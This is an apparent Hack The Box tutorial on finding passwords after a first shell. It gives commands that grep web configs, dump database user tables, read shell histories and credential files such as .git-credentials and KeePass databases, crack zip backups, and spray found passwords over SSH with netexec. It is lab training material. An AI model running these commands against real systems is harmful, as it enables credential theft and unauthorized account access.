Finding passwords after the foothold: files, backups and reuse
Where to look for passwords once you have a shell: web app config, databases, shell histories, encrypted backups, and how to try each one against every user.
When you land your first shell on a Hack The Box machine, you are almost always www-data or a service account. The jump to the next user is rarely an exploit: it is a password left in a file that someone reused for their own account. In the PwnAtlas catalogue it is by far the most common technique: it shows up in nearly a hundred machines.
This guide is the method to follow every time, in this order, before you reach for kernel exploits or get lost in linpeas output.
The bare minimum
- Web applications need their database password in clear text in some file. That password is often also a system user's password.
- Databases hold the application's users, usually with hashes you can crack.
- Backups (
.zip,.tar,.7z,.bak,.old) keep older versions of all of the above, sometimes with passwords that were changed in the original. - Every password you find gets tried against every user and every service. This is the step most people skip.
Requirements
- A shell on the target, ideally a full TTY:
sudoes not work without one. - On your box:
johnorhashcat(see hash cracking) andnetexecorhydrato test passwords in bulk. - To practise: PermX, Boardlight or TwoMillion, all three easy Linux boxes.
Step 1: who lives on the box
Before hunting for passwords, write down who you will try them against:
grep -E 'sh$' /etc/passwd | cut -d: -f1
ls /home
root
mtz
Those are the users with a shell. Save them in a users.txt file on your box.
Step 2: the web application's config
Go to the web root (/var/www, /srv, /opt) and look for each technology's usual config file:
| Technology | File |
|---|---|
| WordPress | wp-config.php |
| Laravel and most modern stacks | .env |
| Joomla | configuration.php |
| Drupal | sites/default/settings.php |
| Django | settings.py |
| Spring | application.properties or application.yml |
| Rails | config/database.yml |
| Node | config.js, .env, config/default.json |
| Tomcat | conf/tomcat-users.xml |
If you do not know what the app is, search brute-force style:
grep -rniE "(pass(word|wd)?|pwd|secret|token)\s*[=:>]" /var/www /opt /srv /etc 2>/dev/null \
| grep -viE "\.(js|css|svg)|placeholder|example" | head -50
/var/www/chamilo/app/config/configuration.php:20:$_configuration['db_password'] = '...';
The 2>/dev/null is essential: without it the output fills up with Permission denied. The second grep strips noise from JavaScript libraries.
Tip
On PermX the Chamilo database password is the mtz user's; on Boardlight, the one in Dolibarr's conf.php works for larissa; and on TwoMillion, the one in .env is admin's SSH password. Three boxes, one pattern.
Step 3: inside the database
With the database password, log in and pull the application's users:
mysql -u chamilo -p -h 127.0.0.1 -e 'show databases;'
mysql -u chamilo -p -h 127.0.0.1 chamilo -e 'select username,password from user;'
If the app uses SQLite, the file is usually called *.db, *.sqlite or *.sqlite3:
find / -name "*.db" -o -name "*.sqlite*" 2>/dev/null | grep -v -E "^/(proc|usr/share|sys)"
sqlite3 app.db '.tables'
sqlite3 app.db 'select * from users;'
Crack the hashes on your own box. Identify the format first ($2y$ is bcrypt, $6$ is SHA-512 crypt, 32 hex characters is usually MD5).
Step 4: histories and personal files
Check every /home/* you can read, and /root if you can:
ls -la /home/*/ 2>/dev/null
cat /home/*/.bash_history /home/*/.mysql_history /home/*/.python_history 2>/dev/null
find / \( -name ".git-credentials" -o -name ".netrc" -o -name ".pgpass" -o -name "*.kdbx" \
-o -path "*/.docker/config.json" \) 2>/dev/null
.bash_historysometimes holds amysql -u root -pPasswordor ansshpass..git-credentialsstores username and token in clear text.- A
.kdbxis a KeePass database:keepass2john file.kdbx > hashand crack it. - SSH private keys have their own SSH keys guide.
Step 5: backups and archives
Backups turn up in /var/backups, /opt, the web root or someone's home. Look for them by extension:
find / \( -name "*.bak" -o -name "*.old" -o -name "*.zip" -o -name "*.tar*" -o -name "*.7z" \
-o -name "*backup*" \) -type f 2>/dev/null | grep -v -E "^/(proc|usr|sys|snap)"
If an archive is password-protected, copy it to your box and crack it:
zip2john backup.zip > zip.hash
john --wordlist=/usr/share/wordlists/rockyou.txt zip.hash
admin@it (backup.zip)
For 7-Zip use 7z2john. On Tabby the password of the zip in the web root is the ash user's; on Surveillance an old database dump holds matthew's hash; and on Netmon the PRTG config backup has a password with last year in it: try this year.
Warning
AES-encrypted zips are not cracked with the ZipCrypto format. zip2john detects it on its own, but if john says No password hashes loaded, check the file is not corrupt (unzip -l backup.zip should list its contents).
Step 6: try every password against everyone
With the user list and the passwords you found, try them all. On the box, with su:
su mtz
From your box, against SSH, in bulk:
nxc ssh 10.10.11.23 -u users.txt -p passwords.txt --continue-on-success
SSH 10.10.11.23 22 10.10.11.23 [+] mtz:<password> Linux - Shell access!
On Windows and Active Directory, do the same against SMB and WinRM (nxc smb and nxc winrm). If there are many domain users, read the password spraying part of Active Directory enumeration first so you do not lock accounts out.
On Windows
The quick equivalents, from PowerShell:
Get-ChildItem C:\inetpub,C:\Users,C:\ -Include *.config,*.xml,*.ini,*.txt,*.kdbx -Recurse -ErrorAction SilentlyContinue | Select-String -Pattern "password" -List
type $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
PowerShell history, unattend.xml files and saved credentials are covered in Windows credential dumping.
Common mistakes
su: must be run from a terminal: your shell is not a TTY. Stabilise it first.- The password works with
subut not over SSH: the server may havePasswordAuthentication noor restrict users withAllowUsers. Get in withsuand drop your SSH key. greptakes forever: do not search the whole of/; stick to/var/www,/opt,/srv,/homeand/etc.- Passwords with special characters: wrap them in single quotes in the terminal; inside double quotes bash will mangle
$and!. - The hash does not crack with rockyou: try rules (
--rules=best64in hashcat) or variations of the passwords you already have.
What next
Tick the credentials section of the post-exploitation checklist and move on to sudo, SUID and capabilities privesc. The search commands in linPEAS automate much of this, but now you know what it is looking at.